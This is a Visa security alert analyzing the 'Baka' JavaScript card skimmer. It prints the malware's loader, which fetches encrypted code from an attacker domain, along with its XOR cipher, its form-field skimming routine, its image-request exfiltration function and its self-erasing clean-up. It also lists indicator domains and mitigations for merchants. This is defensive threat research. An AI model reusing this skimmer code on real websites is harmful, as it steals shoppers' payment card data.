Visa Security Alert

AUGUST 2020

'*Baka*' JavaScript Skimmer Identified

Distribution: Public

Summary

In February 2020, Visa Payment Fraud Disruption (PFD), using the eCommerce Threat Disruption (eTD) capability, identified a previously unknown ecommerce skimmer, and named the skimmer 'Baka'. PFD made the discovery while analyzing a command and control (C2) server that was previously observed hosting the ImageID skimmer variant. PFD's investigation revealed seven C2 servers hosting the Baka skimming kit. While the skimmer itself is basic and contains the expected features offered by many ecommerce skimming kits (e.g. data exfiltration using image requests and configurable target form fields), the Baka skimming kit's advanced design indicates it was created by a skilled developer.

A skimming kit consists of an administration panel, exfiltration gateway, skimming script generator.

The most compelling components of this kit are the unique loader and obfuscation method. The skimmer loads dynamically to avoid static malware scanners and uses unique encryption parameters for each victim to obfuscate the malicious code. PFD assesses that this skimmer variant avoids detection and analysis by removing itself from memory when it detects the possibility of dynamic analysis with Developer Tools or when data has been successfully exfiltrated.

PFD identified this unique skimmer on several merchant websites across multiple global regions using Visa's eTD capability, which analyzes and detects threats targeting eCommerce merchants.

Malware Loader

The Baka loader works by dynamically adding a script tag to the current page (Figure 1). The new script tag loads a remote JavaScript file, the URL of which is stored encrypted in the loader script (Figure 2). The attacker can change the URL for each victim.

```
_loadScripts([
    _script("405c5c585b1207074a05454d5c5a414b064b47450749464944515c414b5b06425b"), // decodes to "https://b-metric.com/analytics.js"
], () => {
    try {
        let ___s = setInterval(() => {
            if (_scriptCallback != null) { // _scriptCallback is a string returned by the above loaded JS file - encrypted string of plair
                let c = () => {};
                c.toString = () => { c = false }
                if(typeof c === "function") {
                    let _script = __script(s);
                    let c = _scriptCallback; // save the first returned string as the key for later
                    _loadScripts([
                        _script(_scriptCallback), // https://b-metric.com/analytics.js?q=0.<rand num from var "s" >
                    ], () => {
                        a = "constructor";
                        b = {};
                        c = __script(c); // initialize another decoder
                        a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub), a).value, 0, c(_scriptCallback))();
                        _scriptCallback = null;
                        clearInterval(___s);
                    });
                }
            }
        }, 100);
    } catch (e) {

    }
});
```

Figure 1 - Malicious loader decrypts and executes the JavaScript loaded from the attacker's server

```
function _loadScripts(array,callback){
    var loader = function(src,handler){
        var script = document.createElement("script");
        script.src = src;
        if(_scriptCallback != null) {
            _scriptCallback = null;
        } else {
            // add query string to script requests
            // ?q=0.<rand num>
            // This allows each request to return uniquely encoded javascript
            _precompile.forEach(function (p) {
                script.src += o(p);
            })
            script.src += p(Math.random());
        }
        script.onload = script.onreadystatechange = function(){
            script.onreadystatechange = script.onload = null;
            if(/MSIE ([6-9]+\.\d+);/.test(navigator.userAgent))window.setTimeout(function(){handler();},8,this);
            else handler();
        }
        var head = document.getElementsByTagName("head")[0];
        (head || document.body).appendChild( script );
    };
```

Figure 2 - Function to load JavaScript on a page

When a customer visits the merchant's checkout page, the loader executes the following steps to retrieve and execute the malicious skimming code:

1. Decrypt the hardcoded C2 URL (Figure 3) using a hardcoded key (Figure 4).

```
let _script = __script(b(t(_params))); // Initialize decryptor with key stored in _params
_loadScripts([
    _script("405c5c585b1207074a05454d5c5a414b064b47450749464944515c414b5b06425b"), // decrypts to "https://b-metric.com/analytics.js"
], () => {
```

Figure 3 - Encrypted C2 URL

```
let _params = [72,77,116,87,115,74,90,120,88,77]; // initial key - HMtWsJZxXM
```

Figure 4 - C2 URL Decryption Key

2. Generate a random number to send to the C2 URL for skimming code (e.g. https://example[.]com/skimmer.js?q=0.123456890 where https://example[.]com/skimmer.js is the C2 URL and "123456890" is the random number. The string "?q=0." is hardcoded in the loader).

3. The skimmer C2 returns a small piece of JavaScript that sets a variable named *_scriptCallback* to the encrypted C2 URL that receives the request (i.e. https://example[.]com/skimmer.js?q=0.123456890). This return value is decrypted and loads a second time. The C2 server responds to the second request with the encrypted skimming code (Figure 5).

```
_scriptCallback =
"2b65766d60776a6c6d232b2a23780923232323606c6d707723776c416f6c61233e234b574e4f40626d756270466f666e666d772d73716c776c777a73662d776c416f6c61380923232323606c6d707723776c4762776
256514f233e234b574e4f40626d756270466f666e666d772d73716c776c777a73662d776c4762776256514f380923232323606c6d7077236466774a6e6264664762776223 3e2340626d75627051666d6766716a6d644
06c6d77667b7731472d73716c776c777a73662d6466774a6e62646647627762380923232323232c2c092323232375627123 6d6c6a706a657a233e2365766d60776a6c6d232b60626d7562702f23606c6d77667b772a237
80923232323232323606c6d707723706b6a6577233e23780923232323232323232323232324712439234e62776b2d656f6c6c712b4e62776b2d71626d676c6e2b2a23292332332a232e23362f0923232323232323232
323232324642439234e62776b2d656f6c6c712b4e62776b2d71626d676c6e2b2a23292332332a232e23362f0923232323232323232323232324612439234e62776b2d656f6c6c712b4e62776b2d71626d676c6e2b2
a23292332332a232e23362f092323232323232323232323232324622439234e62776b2d656f6c6c712b4e62776b2d71626d676c6e2b2a23292332332a232e2336092323232323232323237e38092323232323232323232c2c0
92323232323232323606c6d707723746a67776b233e2360626d7562702d746a67776b2f236b666a646b77233e2360626d7562702d6b666a646b7738092323232323232323606c6d7077236a6e626466476277622 33e2
36466774a6e62646647627762 2d6273736f7a2b606c6d77667b772f2358332f23332f23746a67776b2f236b666a646b775e2a380923232323232323232323656c71232b6f6677236a233e233338236a233f236b666a646b7
738236a28282a23780923232323232323232323232323656c71232b6f66772369233e2333382369233f23746a67776b38236928282a2378092323232323232323232323232323232323232323606c6d7077236d233e232b2b6a232
9232b746a67776b232923372a2a2328232b69232923372a2a380923232323232323232323232323232323232323236a6e62646647627762 2d67627762586d232823335e233e236a6e62646647627762 2d67627762586d2328233
35e232823706b6a65772d71380923232323232323232323232323232323232323236a6e62646647627762 2d67627762586d232823325e233e236a6e62646647627762 2d67627762586d232823325e232823706b6a65772d64380
92323232323232323232323232323232323236a6e62646647627762 2d67627762586d232823315e233e236a6e62646647627762 2d67627762586d232823315e232823706b6a65772d6138092323232323232323232323232323232
32323236a6e62646647627762 2d67627762586d232823305e233e236a6e62646647627762 2d67627762586d232823305e232823706b6a65772d6238092323232323232323232323232323237e092323232323232323237e09232
3232323232323 2c2c0923232323232323237 46a6d676c742d776c732d736c70774e6670706264662b2460626d7562702e656a6d64667173716a6d772e676665666d6766712e626f667177242f232429242a380923232
323232323606c6d77667b772d7376774a6e62646647627762 2b6a6e62646647627762 2f23332f23332a3809232323237e3809232323232c2c09232323234c6169666077 2d6766656a6d6653716c736671777a2b4b5
74e4f40626d756270466f666e666d772d73716c776c777a73662f2324776c416f6c61242f237809232323232323232323232475626f766624392365766d60776a6c6d232b2a2378092323232323232323232323236d6c6a7
06a657a2b776b6a702f23776b6a702d646677406c6d77667b772b243167242a2a380923232323232323232323232323237166777 6716d23776c416f6c612d6273736f7a2b776b6a702f23627164766e666d77702a3809232
32323232323237e09232323237e2a3809232323232c2c09232323234c61696660772d6766656a6d6653716c736671777a2b4b574e4f40626d756270466f666e666d772d73716c776c777a73662f2324776c4762776 25
6514f242f2378092323232323232323232475626f766624392365766d60776a6c6d232b2a23780923232323232323232323236d6c6a706a657a2b776b6a702f23776b6a702d646677406c6d77667b772b243167242a2
a38092323232323232323232323232371667776716d23776c4762776256514f2d6273736f7a2b776b6a702f23627164766e666d77702a3809232323232323232323237e09232323237e2a3809232323232c2c09232323234c6
1696660772d6766656a6d6653716c736671777a2b40626d75627051666d6766716a6d64406c6d77667b7731472d73716c776c777a73662f23246466774a6e62646647627762242f237809232323232323232323232475626
f766624392365766d60776a6c6d232b2a23780923232323232323232323236d6c6a706a657a2b776b6a702d60626d7562702f23776b6a702a3809232323232323232323232323232371667776716d236466774a6e62646
6476277622d6273736f7a2b776b6a702f23627164766e666d77702a3809232323232323232323237e09232323237e2a3809232323232c2c0923232323676c60766e666d772d676c60766e666d77466f666e666d772d67627
7627066772d60617060716a7377626f6f6c74233e23777176663809 7e2a2b2a38092b65766d60776a6c6d232b2a23780923232323606c6d707723776c416f6c61233e234b574e4f40626d756270466f666e666d772d7
3716c776c777a73662d776c416f6c61380923232323606c6d707723776c4762776256514f233e234b574e4f40626d756270466f666e666d772d73716c776c777a73662d776c4762776256514f380923232323606c6d7
[Truncated For Report]"
```

Figure 5 - Encrypted Skimming Code

4. The loader then decrypts the skimming code and executes it in memory. The skimming code is never present on the merchant's server or saved to the customer's computer.

Skimming Malware

The skimming payload decrypts to JavaScript written to resemble code that would be used to render pages dynamically. The same encryption method as seen with the loader is used for the payload. Once executed, the skimmer captures the payment data from the checkout form. When the skimmer is first loaded, it runs an initialization function that schedules five operations to run:

1. Generate a decryption function to decrypt the list of fields from which the skimmer will steal data (Figure 6).

```
pageLifeCycle() { // Set up the skimmer
    setTimeout(() => this.preProcessingPage(), 10); // initialize decryptor and decrypt target field list after 10ms
    setInterval(() => this.processingPage(), 100); // schedule form skim to run every 100ms
    setInterval(() => this.postProcessingPage(), 100); // schedule check for presence of skimmed data every 100ms
    setInterval(() => this.renderingPage(), 3000); // attempt to exfil any skimmed data every 3s
    setInterval(() => this.completePage(), 100); // check if data has been sent and self-destruct if it has every 100ms
};
```

Figure 6 - Skimmer Initialization

2. Skim the targeted fields every 100 milliseconds. When the attacker generates the skimming script for a victim, they specify which fields are targeted (Figure 7). This list of field names decrypts on-demand every 100ms when the skimmer runs. This function sets a flag called 'this.rendered' to indicate that data has been captured and stored in memory for exfiltration.

3. Check if the skimmer found data (e.g. 'this.rendered' is True) every 100 milliseconds. This function then calls for data exfiltration and sets a flag called 'this.load' indicating the skimmer successfully exfiltrated data.

```
preProcessingPage() {
    let initDom = __el._dom('egaPgnissecorPerp'.split("").reverse().join("")); // first decoder using "preProcessingPage" as key
    __el.setElement(initDom('initDom'), initDom(__el.html()));
    __el.setElement('type', 7);

    var _v8js =
    '6d7c646d7c714279746f787e69427e7e427368707f786f3c2c28616d7c646d7c714279746f787e694278656d746f7c697472733c2c616d7c646d7c714279746f787e694278656d746f7c6974727342646f3c2c616d7c646d7c714279746f787e69427e7e427e74793c2e617f74717174737a277b746f6e69737c7078617f74717174737a27717c6e69737c7078617f74717174737a276e696f7878692c617f74717174737a277e726873696f64427479617f74717174737a276f787a747273427479617f74717174737a277e746964617f74717174737a276d726e697e727978617f74717174737a27697871786d75727378617c707c6e6964306e7e75787e767268693071727a74733078707c7471';
    __el.setPageResources(_v8js); // assign _v8js value to this.pageResources

    InsertElements = __el.__dom(__el.html()); // create decoder using current
}
```

Figure 7 - Encrypted list of field names for the skimmer to target

4. Check if the script should send data to the exfiltration gateway every 3 seconds. If the captured data flag is set, the exfiltration gateway URL is decrypted using the current victim merchant's domain name as the key. The script then encodes the skimmed data into the GET parameters of the exfiltration URL. This URL resembles a link to an image, but no image exists at the location. The malware then adds an image tag that links the exfiltration URL to the merchant's webpage resulting in a request being sent to the malicious URL with the stolen data attached and removes it after 3 seconds to avoid detection (Figure 8).

```
// exfil code
function createElement(name, src, data) {
    var img_id =  Math.random() * (99999 - 10000) + 10000;
    var b = document.createElement("img");
    b.width = "1px";
    b.height = "1px";
    b.id = img_id;

    var html = '';
    for (var key in data) {
        if(data[key] && typeof data[key] !== "function" && key != 'length') {
            var value = String(data[key]).replace(/'/g, '&quot;');
            html = html + key + '=' + value + '&';
        }
    }

    b.src = src.trim() + '?' + html;
    document.body.appendChild(b);
    setTimeout(document.getElementById(img_id).remove(),3000);
}
```

Figure 7 - Exfiltration code

5. The last operation that is scheduled is a clean-up function. If data is exfiltrated, the clean-up function removes the entire skimming code from memory to avoid detection (Figure 9).

```
completePage() {
    setTimeout(() => {
        if(__el.getLoad()) {
            try {
                this.pageLifeCycle = () => {};
                this.processingPage = () => {};
                this.preProcessingPage = () => {};
                this.postProcessingPage = () => {};
                this.renderingPage = () => {};
                this.completePage = () => {};
                this.domElement = () => {};
            } catch (e) {

            }
        }
    }, 10);
}
clearPage() {
    this.load = true;
    this.completePage();
}
```

Figure 8 - Clean-up Function

Unique Obfuscation

To further prevent detection, Baka uses an XOR cipher to encrypt hard-coded values and obfuscate the skimming code delivered by the C2. While the use of an XOR cipher is not new, this is the first time Visa has observed its use in JavaScript skimming malware. The developer of this malware kit uses the same cipher function in the loader and the skimmer. Figure 10 shows the decryption function from one of the skimmer payloads. The displayed code creates a decryption function primed with a supplied key. The malware uses various values throughout, including the current domain the malware is running on, the random number generated in the loader, and the hardcoded value, “preProcessingPage”. The returned decryption function expects a hexadecimal string as input and works as follows:

1. The decryption function splits the string into a list of two character strings
2. The function then parses each two character string as a hexadecimal number and converts it into an integer
3. The resulting integers are decrypted using the key supplied when creating the decryption function

4. Finally, the function converts the integers to characters, resulting in the original plaintext

```
  //Decryption generator
  __dom(salt) {
      let textToChars = text => text.split('').map(c => c.charCodeAt(0))
      let saltChars = textToChars(salt)
      let applySaltToChar = code => textToChars(salt).reduce((a,b) => a ^ b, code) // XOR Cipher
      return encoded => encoded.match(/.{1,2}/g) // split string in to array of 2 character strings
          .map(hex => parseInt(hex, 16)) // parse the 2 character strings to a hex digit
          .map(applySaltToChar) // Decrypt Integer
          .map(charCode => String.fromCharCode(charCode)) // Convert integer to character
          .join('') // join the characters back to a string - this is the original plaintex
  }
```

Figure 9 – XOR Cipher

Indicators of Compromise

Visa observed the following domain names hosting the Baka skimmer.

Domain Names	jquery-cycle[.]com
	b-metric[.]com
	apienclave[.]com
	quicdn[.]com
	apisquere[.]com
	ordercheck[.]online
	pridecdn[.]com

Best practices and mitigation measures

- **Institute recurring checks in eCommerce environments** for communications with the C2s.
- **Ensure familiarity and vigilance with code integrated into eCommerce environments** via service providers.
- **Closely vet utilized Content Delivery Networks (CDN) and other third-party resources.**
- **Regularly scan and test eCommerce sites for vulnerabilities or malware.** Hire a trusted professional or service provider with a reputation of security to secure the eCommerce environment. Ask questions and require a thorough report. Trust, but verify the steps taken by the company you hire.
- **Regularly ensure shopping cart, other services, and all software are upgraded or patched** to the latest versions to keep attackers out. Set up a Web Application Firewall to block suspicious and malicious requests from reaching the website. There are options that are free, simple to use, and practical for small merchants.
- **Limit access to the administrative portal** and accounts to those who need them.
- **Require strong administrative passwords** (use a password manager for best results) and enable two-factor authentication.
- **Consider using a fully hosted checkout solution** where customers enter their payment details on another webpage hosted by that checkout solution, separate from the merchant's site. This is the most secure way to protect the merchant and their customers from eCommerce skimming malware.
- **Implement Best Practices for Securing eCommerce** as outlined by the PCI Security Standards Council.
- **Refer to Visa's** What to do if Compromised (WTDIC) document, published October 2019.